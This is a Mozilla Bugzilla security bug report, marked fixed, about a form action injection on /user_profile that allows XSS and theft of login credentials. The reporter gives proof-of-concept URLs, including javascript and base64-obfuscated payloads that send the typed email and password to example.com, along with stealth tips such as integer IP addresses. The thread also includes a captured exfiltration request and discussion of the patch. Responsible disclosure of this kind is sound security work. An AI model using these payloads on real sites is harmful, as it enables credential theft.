1444008 - Form action injection in Bugzilla /user_profile (leads to XSS/single-factor credential leakage)

Status: RESOLVED FIXED

(bugzilla.mozilla.org :: General, defect)

Description

[Andrew Sylvia]

Attachment: Screenshot of accessing the following URL, entering credentials, and clicking "Log in": https://bugzilla.mozilla.org/user_profile;/javascript:alert(document.domain)

I found an XSS bug on bugzilla.mozilla.org. The user must be logged out of Bugzilla.

Reproduction steps:

1) Visit the URL:
https://bugzilla.mozilla.org/user_profile;/javascript:alert(document.domain)

2) Under "I need an email address and password to continue" (third form visible), enter an email address and password.

3) Click "Log in". An alert box will pop up with the text "bugzilla.mozilla.org".

The javascript URL is ending up as the action of the login form.

This was tested successfully with Firefox 58.0.2 and Chromium 64.0.3282.167. It is currently being filtered by the XSS filter in IE 11. It may be possible to find a bypass for this filter, although the final payload below (simple form action overwrite) works in IE 11 despite the XSS filter.

The security impact is that a user's Bugzilla credentials could be stolen. It could also be possible to launch attacks against the user's browser.

Other example payloads:

The following URL will steal the user's email address and password, concatenate them separated by a colon, base64 the resulting string, and redirect to http://example.com/XXXX, where XXXX is the base64-encoded credentials string, exfiltrating the credentials to that site:
https://bugzilla.mozilla.org/user_profile;/javascript:d%3ddocument;d.location%3d"http:%5cu002f%5cu002fexample.com%5cu002f"%2bbtoa(d.getElementById("Bugzilla_login").value%2b":"%2bd.getElementById("Bugzilla_password").value)

The form can also simply be caused to submit to another URL, also exfiltrating the credentials using the resulting POST request. The following URL will exfiltrate the credentials to http://example.com:
https://bugzilla.mozilla.org/user_profile;/http:%5c%5cexample.com
(Note: This particular URL only works the first time it is accessed in Firefox, as the two URL-encoded backslashes are converted to forward slashes if the page is cached for some reason.)
(This can be made more stealthy by using an IP address or integer IP address.)

Comment 1

[Caglar Ulucenk [:cag]]

Thanks for the report Andrew. Nice find.

:dylan - This seems bad, even though it doesn't appear very stealthy (for example, several CSS files was nor rendered properly, as also shown in the reporter's screenshot) and the longer URL with a proper payload may make it more suspicious.

However given it could be possible to steal Bugzilla credentials with this, I think we should still treat this seriously. What do you think?

Comment 2

[Andrew Sylvia]

Thanks, Caglar.

Here is another equivalent to the second payload that is slightly longer, but hides some of the code in the hash with base64 encoding:
https://bugzilla.mozilla.org/user_profile;/javascript:eval(atob(location.hash.substring(1)))#ZD1kb2N1bWVudDtiPSJCdWd6aWxsYV8iO2xvY2F0aW9uPSJodHRwOi8vZXhhbXBsZS5jb20vIitidG9hKGQuZ2V0RWxlbWVudEJ5SWQoYisibG9naW4iKS52YWx1ZStkLmdldEVsZW1lbnRCeUlkKGIrInBhc3N3b3JkIikudmFsdWUp

Also, note that credentials can be stolen with the third URL, which is just a form action overwrite and is relatively short. The URL could be replaced with an integer encoded IP address, such as http:\\2899905294 (equivalent of http://www.google.com).

Thanks again.

Comment 3

[Jonathan Claudius [:claudijd] (use NEEDINFO)]

Example request sent to 3rd party...

GET /dGVzdEB0ZXN0LmNvbTp0ZXN0cGFzc3dvcmQ= HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://bugzilla.mozilla.org/
Connection: close
Upgrade-Insecure-Requests: 1

Decoded URI string for clarity...

Base64.decode64("dGVzdEB0ZXN0LmNvbTp0ZXN0cGFzc3dvcmQ=")
 => "[e-mail]:testpassword"

I also tested both proposed PoC links and in Firefox and Chrome, I'm getting a failed CSS load, which causes the page to load poorly and not offer a normal user login propmpt.  That said, this still feels like an issue that we should address, it just may be less likely a user would be convinced to follow such a path.

Comment 4

[Jonathan Claudius [:claudijd] (use NEEDINFO)]

Attachment: Screen Shot 2018-03-08 at 9.34.02 AM.png

Comment 5

[Dylan Hardison [:dylan] (he/him)]

There's a few things going on here:

user_profile accepts literally anything as a path (this has caused a dozen or so problems, though I'm not taking the time to compile a list right now)

The meat of the XSS is that we allow arbitrary input to a form action attribute:
https://github.com/mozilla-bteam/bmo/blob/master/template/en/default/account/auth/login.html.tmpl#L45

and of course, CSP isn't enabled for the login pages.
That would stop both the XSS and the form-sending scenario.

I'll see about fixing all three of these problems.

Comment 6

[Dylan Hardison [:dylan] (he/him)]

Attachment: bug-1444008-part-1.patch

This fixes the issue at hand and another similar issue with /request-defer.

Form actions should take a [% urlbase %] prefix always -- this adds a few of those. Also, I think it was a mistake to not urlescape [% target %] on https://github.com/mozilla-bteam/bmo/blob/edf9851a7ddcab83c6dd54f2294041613ace24f7/template/en/default/account/auth/login.html.tmpl#L45

Comment 7

[Dylan Hardison [:dylan] (he/him)]

Do we have any additional path info on /review? or do we only ever like to https://bugzilla.mozilla.org/review?

I think when the .htaccess rules were written there was confusion as to what they're matching against. In the way we're using them, they don't match against the query string -- only the path name.

Comment 8

[Dylan Hardison [:dylan] (he/him)]

Attachment: bug-1444008-part-1-v2.patch

Nah, it doesn't matter. If this breaks links (which I think it won't) -- good. It was almost certainly not the intention.

At this point we have no open-ended routes that could produce a non-404 respond for arbitrary input.

Comment 9

[David Lawrence [:dkl]]

Comment on attachment 8957178 [details] [diff] [review]
bug-1444008-part-1-v2.patch

Review of attachment 8957178 [details] [diff] [review]:
-----------------------------------------------------------------

r=dkl

Comment 10

[April King [:April]]

Andrew, can I ask how you would like to be credited on our Hall of Fame? I need the name you'd prefer, as well as a URL to link to, if you'd like us to do that.

Thanks!